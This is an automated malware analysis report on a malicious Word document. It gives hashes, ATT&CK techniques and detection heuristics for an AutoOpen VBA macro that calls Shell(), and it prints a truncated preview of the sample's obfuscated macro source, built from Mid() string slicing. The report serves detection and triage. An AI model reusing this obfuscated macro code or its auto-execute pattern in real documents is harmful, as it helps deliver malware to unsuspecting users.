Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4234dc0c379796be…

MALICIOUS

Office (OLE)

137.0 KB Created: 2017-10-27 18:02:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: e71f5e420ebd7ff044c67c85f72b8490 SHA-1: c1d1b4801416fda8395c1eab9f7c21bbd1765967 SHA-256: 4234dc0c379796be4de5daa52af5ac5791d1694b479091bf5f3d20c70dde6847
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function, a critical indicator of malicious intent, suggesting it's designed to execute arbitrary commands. The presence of obfuscation heuristics and the ClamAV detection further support its malicious nature. The macro likely acts as a downloader for a second-stage payload, and the document's structure suggests it was delivered as a spearphishing attachment.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73475 bytes
SHA-256: 0018faaec29d893020e4e7fb3446ef1fece686e72542cdfef2b24f89f26f6a47
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 150 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function sFwGncInq()
JYlldhvAz = "VIHZQ89RH9atwpkzCmHKZoSJadqdwTNL4M357N4D0D"
VGFuCpo = Mid(JYlldhvAz, 11, 22)
afMpEikJG = VGFuCpo
jvHPos = "61P7RI9XY0ruJwzpBYwAOWiPdHCOGHzFnkWXfriQVQlCZnZDRbqGDVJzibMGSrNdEmHYaZKKtiizlfpphzwfRrBRbXoDiYwiDHwnfAdrRfMVqLOCmXZTuiLMkpzDkGfVjAuihBJjVENlijbQImRHwfkVvlDpDT1V"
joccXUTH = Mid(jvHPos, 11, 147)
TaoJt = joccXUTH
RNRVWJiSPjL = "33O2TE812oWBarbHwtjcaszCajFaMUDzRzwwijiwkATdjnVGcXsUEGTMzTHJzpjGkWkatiYPPksaYVTmLzwpcjvKflzPYVAvRNtMDuMzwcFTOtnbzVzwrtdBbZuIfIrtjwILcHiRmAqAdbwmwXPDXCEXjrkizERqlLjRkczsmjLqDdXzcHJItnWhslbkWERijAPRrfCWXWQqqNUFTlBX5QER"
mRiNTbMLBi = Mid(RNRVWJiSPjL, 10, 202)
CnPtQiswYWZ = mRiNTbMLBi
WRtnTPiGQSk = "0DD2HWQOLwUBYGfijiOzUqRdQvbjuqKiZqjUdqCjYPQKFQmbKVmBBjpbschPOvTUnlchaLFsbibFZHXzJzZZDIhsBEcAJnRdvwWUoEAzQuaTEjCkEhGOVBSFKQTBL"
kmVMHDWv = Mid(WRtnTPiGQSk, 8, 110)
mzFiirjcch = kmVMHDWv
ZiaJiFNDk = "7JDZIWR6AKARwlzvSjIvtmOjGShBTMBSAioKDkNHfGDZhbLGcfvLmBuiLJzlhkDnJhQQzprhWAPnjpzfGbZnRpfznGwtkbauCPQzLuInnNpmmHwWKUiFLPWTCRdrqwzuaUkUYzUMSlzEztNfHciQzUjntwwuRRwpPvLRXizKARnZPSTJDzjNPhwGlwabDavApKoEhvHdiYPfhJXadnqTiiZiwFjbDWHaWmkFiPbIqGjrRRZbZAwPkbRGlFFcOjZIQpIuYSwNMhdczRR0JE"
nFpYwin = Mid(ZiaJiFNDk, 9, 261)
dmfjQjmwu = nFpYwin
msQRErA = "UD7fQFOtbvrmzHjKQjYDZKVXYCzAvrnUidPJiUlitocAqBRIPFtjpRCUCWHOHNwkHWEVsWcvutKkiUjWkplqzHfQavGLNXWfqrtC6ZJ464H3E"
JhmzpSt = Mid(msQRErA, 4, 96)
hLHsINuw = JhmzpSt
uYAcFWWYpFB = "KUB7iRhjEBDXspuUiTYKzuJjaacIiDHDlCCwpGDoYvJiWkYzOZuwXDMnTvYHpZBBuzmpmwfXQkmDkfKqCcuEIIjhqPithvzwtIjWziMRuXhmRJColiEMfzslSEzWRlpUlnJbvntTPcKlbtQjNqIzrmTwPwDsjpAJhMBdzYQLDS9NCZMNSUHD8J3O6T71GX6L0T"
UthCS = Mid(uYAcFWWYpFB, 5, 161)
ZoiOSZKmB = UthCS
QvoTj = "YNEaHKzqlqQkVkNszpUZiDOhuwpYXEPZivwTdvzDmovkzYRjuGivAWDzbVjIUbTharBZmtPCrQntIdhVhJMCO3IDYLCHXISLBNVW"
aRSUD = Mid(QvoTj, 4, 79)
kPzAcav = aRSUD
qvaCpM = "3GH8ZXVDDVLZGH6KKNPW8HRWBAHSQ87YPNJYiQWUYMszsHOpjKUOKHXrtArfDkiJqznKaKzCKGTphnAHnBhdYuTawqPdZqQodiIvTEOYNSDDohJGzjsBCElvdNMkvTdUpiLziFnjnJPGrQlQjJipwOlZwNSGridupjNJVKcuwJOto80"
lqtmEnO = Mid(qvaCpM, 37, 137)
wnsjoMb = lqtmEnO
KCiEDds = "LBWVUYDDNAWWR9iDNcvElpnVbtmCQnhrIjVRICbvVhjtozskSJEdvarEBNmQiILHORFNTNvLBAiEFtjbACjHiEwio0MLSTVUZ64NOL3NMB"
ICZKZ = Mid(KCiEDds, 15, 75)
XBBUToiiq = ICZKZ
LucMjHZD = "9PZCCAVMQXT5IPJVSTSEMHqqYnQLXJMfmnkUssiLGkLhCbbuLXvTuWpiYhrtnEBdwCXqCfOZpHwbwInzMWAAOskPwBvKBlXBjilAEkrfIVinYNmPtuhREBODSHrAkDXDjzsNXnsbiUrsOzqlPfRHDGwhThiwtrvEzaDaUYsGBGmjKWpVQFlEmQzdAKupFwhnZmvntQRrnLGzTNXwsMfnGqShaaaYN2ZVA3LVOWZ5J"
zjwMAt = Mid(LucMjHZD, 17, 203)
JdIoqLU = zjwMAt
wlAaw = "W9YNOQQL30I2RZZQJTKHT0L9JdCAEYzKXbBcAotRbJCJnnzzsRthjTONSpHNkKCZUCAVqkizMYrXYQnWfEImiRaDNoJLhfhRHcpknbHHnuVLcqoCClhjBPuDcwICbSSjrZPvbCjDzAwjwPaWAHIvwBPrhmIqTFjUcpTDbsaACdiARLGMVmCUKU91"
qGuZzL = Mid(wlAaw, 25, 157)
IPnjGL = qGuZzL
WQUDDmf = "2RYP9LRMGTWJ7uQiEjjWiEioQwKdkDLEzaIJiOoRCrwcjDHBfrQEYiQLMmCGZYABVBPulHwqvOTqIGHNqJwsnHjUKwzwLhsdruGfnMPXvZJJKZDFfpPQaHNOVvkoKAiNVqzNzbadtawNzWJktrQWScDkhsJscaNvvwoUaqGDPmWEPMB7B6"
cGEpQYlGVkL = Mid(WQUDDmf, 14, 158)
oWIwfvOFcsv = cGEpQYlGVkL
HYaTjLdr = "JBZOHH062XWQHVSYGURTK6OUzvPsdzmvHRliqkiScInArnuwPQiXWfurbMZoZsNzVkJJJYVdtDCiDtcJBScMPOYcXuHdKptjvniGdlnrBR"
WBhUavjSawB = Mid(HYaTjLdr, 24, 81)
usjWaUCZpB = WBhUavjSawB
qaSIUY = "XuFiScMnhjPnGQAkGLhlPRsSDKTmQOWjPflSJkGzKHZuvBnTuCYvwzXZCnaIJZWTNjXafibWFhbIszXBWArNpajQILPWJzqkkFhLiNnMbBqPYPjEQYmJhJimAHDHVC9W6W115C8ODCOSZL5YHNP"
rXDsPNzir = Mid(qaSIUY, 2, 121)
sIzcTZiicS = rXDsPNzir
kdsFC = "NMTN8CASPKYH4ANY3XYIFLHQPvPKMNVciXtRUL6"
hrzKJqqMwNI = Mid(kdsFC, 24, 12)
Wrzij = hrzKJqqMwNI
TwiYZ = "GFJzjAjZbBDOrmhmzJKGpQKIniERjZfriDKmPwOoAXblDvhBkXdTjXJDDDJEwStCVMjocvXAvVFRpYFrzCjJvLLLuHjMmJsiiYPqPsYpzcYLRrNizRHtmkGJBUuVLLOlcXnQIPcEdqJSnAuCtEOUCzwuRFpvwDioOniuEwVipDPva8612RCN4MRTXOZ5A"
tJfABucz = Mid(TwiYZ, 4, 170)
tNSoEl = tJfABucz
End Functio
... (truncated)

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